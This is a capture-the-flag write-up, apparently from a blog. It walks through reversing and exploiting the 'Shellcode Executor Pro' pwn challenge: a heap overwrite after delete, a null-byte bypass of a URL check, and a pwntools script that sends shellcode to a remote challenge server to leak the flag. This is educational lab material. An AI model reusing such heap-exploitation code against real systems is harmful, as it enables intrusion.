justCTF{A_handwritten_flag_appears!}

Method using our own definition of IFFT. Looking at the Wikipedia definition we can write a script somehow like this:

It's not perfect, but it does the job.

Now on the Shellcode Executor Pro challenge. The idea came to me right after the CTF ended, I was trying to obtain a shell when the solution was a lot easier because I didn't look for strings in the binary.

It was a 283 points challenge in the PWN category. Here is the challenge prompt:

Running file and checksec on the binary we get:

Reversing

Opening it in IDA, we see some functions, and the interesting ones are downloadShellcode, createShellcode, deleteShellcode, verifyURL, executeShellcode. So, let's see what they are doing.

downloadShellcode: allocates memory on the heap then calls fgets and then calls verifyURL on the input.

verifyURL: checks if any of the input bytes is <=9.

createShellcode: allocates memory on the heap for some kind of name (the a2 pointer) and for, what probably is, the shellcode and also stores the addresses in the pointer a1.

deleteShellcode: it frees the chunks stored in the pointer set earlier in createShellcode function.

executeShellcode: it takes the shellcode from the heap and executes it after running restrictAccess.

restrictAccess: It seems like it restricts our access to only some syscalls, and those are: rt_sigreturn, exit, exit_group, read, write, mmap, munmap. You can check this by looking at the linux 64 bit syscall table.

Running the binary with gdb and going into the createShellcode function to get the address of the shellcode that is created, we see:

The rax value is the value allocated on the heap and where the shellcode will be, after executing the this function we can search for the string "The flag will be here", but having in mind this address.

Now we see that that string, is also put onto the heap, and the addresses, they look awfully close!

Analyzing further:

Let's see what happens if we delete the shellcode then use the Download shellcode option:

I just introduced the number 2, to call the delete shellcode function and then 1 to download the shellcode, when I was asked

"Enter the url:"

I just entered a lot of A's, and now when examining the address for the begginning of the shellcode:

0x4141414141, nice! we overwritten the previous shellcode. Here is our exploit! Now, we have to bypass the verifyURL function.

We can create a shellcode that will write to stdout a number of bytes from the address of the shellcode, since we know that after that must be the flag.

#!/usr/bin/python
from pwn import *

context(arch='amd64', os='linux')
shellcode = asm('''
                xor rdi, rdi
                lea rsi, [rip+0x74]
                mov edx, 0x59
                mov eax, 0x1
                syscall
                ret
                ''')

print disasm(shellcode)

As you can see we have a lot of invalid bytes that will be detected by the verifyURL function, but you can see that the condition for the check to stop it is to detect a null-byte, so we can insert one at the beginning of the shellcode and then we're good.

Leading us to the final exploit:

#!/usr/bin/python
from pwn import *

context(arch='amd64', os='linux')
shellcode = asm('''
                xor al, 0x0
                xor rdi, rdi
                lea rsi, [rip+0x74]
                mov edx, 0x43
                mov eax, 0x1
                syscall
                ret
                ''')

# p = process('./shellcodeexecutor')
p = remote('46.101.173.184', 1446)
p.recvuntil('> ')
p.sendline('2')
p.recvuntil('> ')
p.sendline('1')
p.recvuntil(': ')
p.sendline(shellcode)
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('====================================\n')
print p.recvuntil('}')

And receiving the flag:

justCTF{f0r_4_b3tt3r_fl4g_purch4s3_th3_full_v3rsi0n_0f_0ur_pr0duct}

Awesome!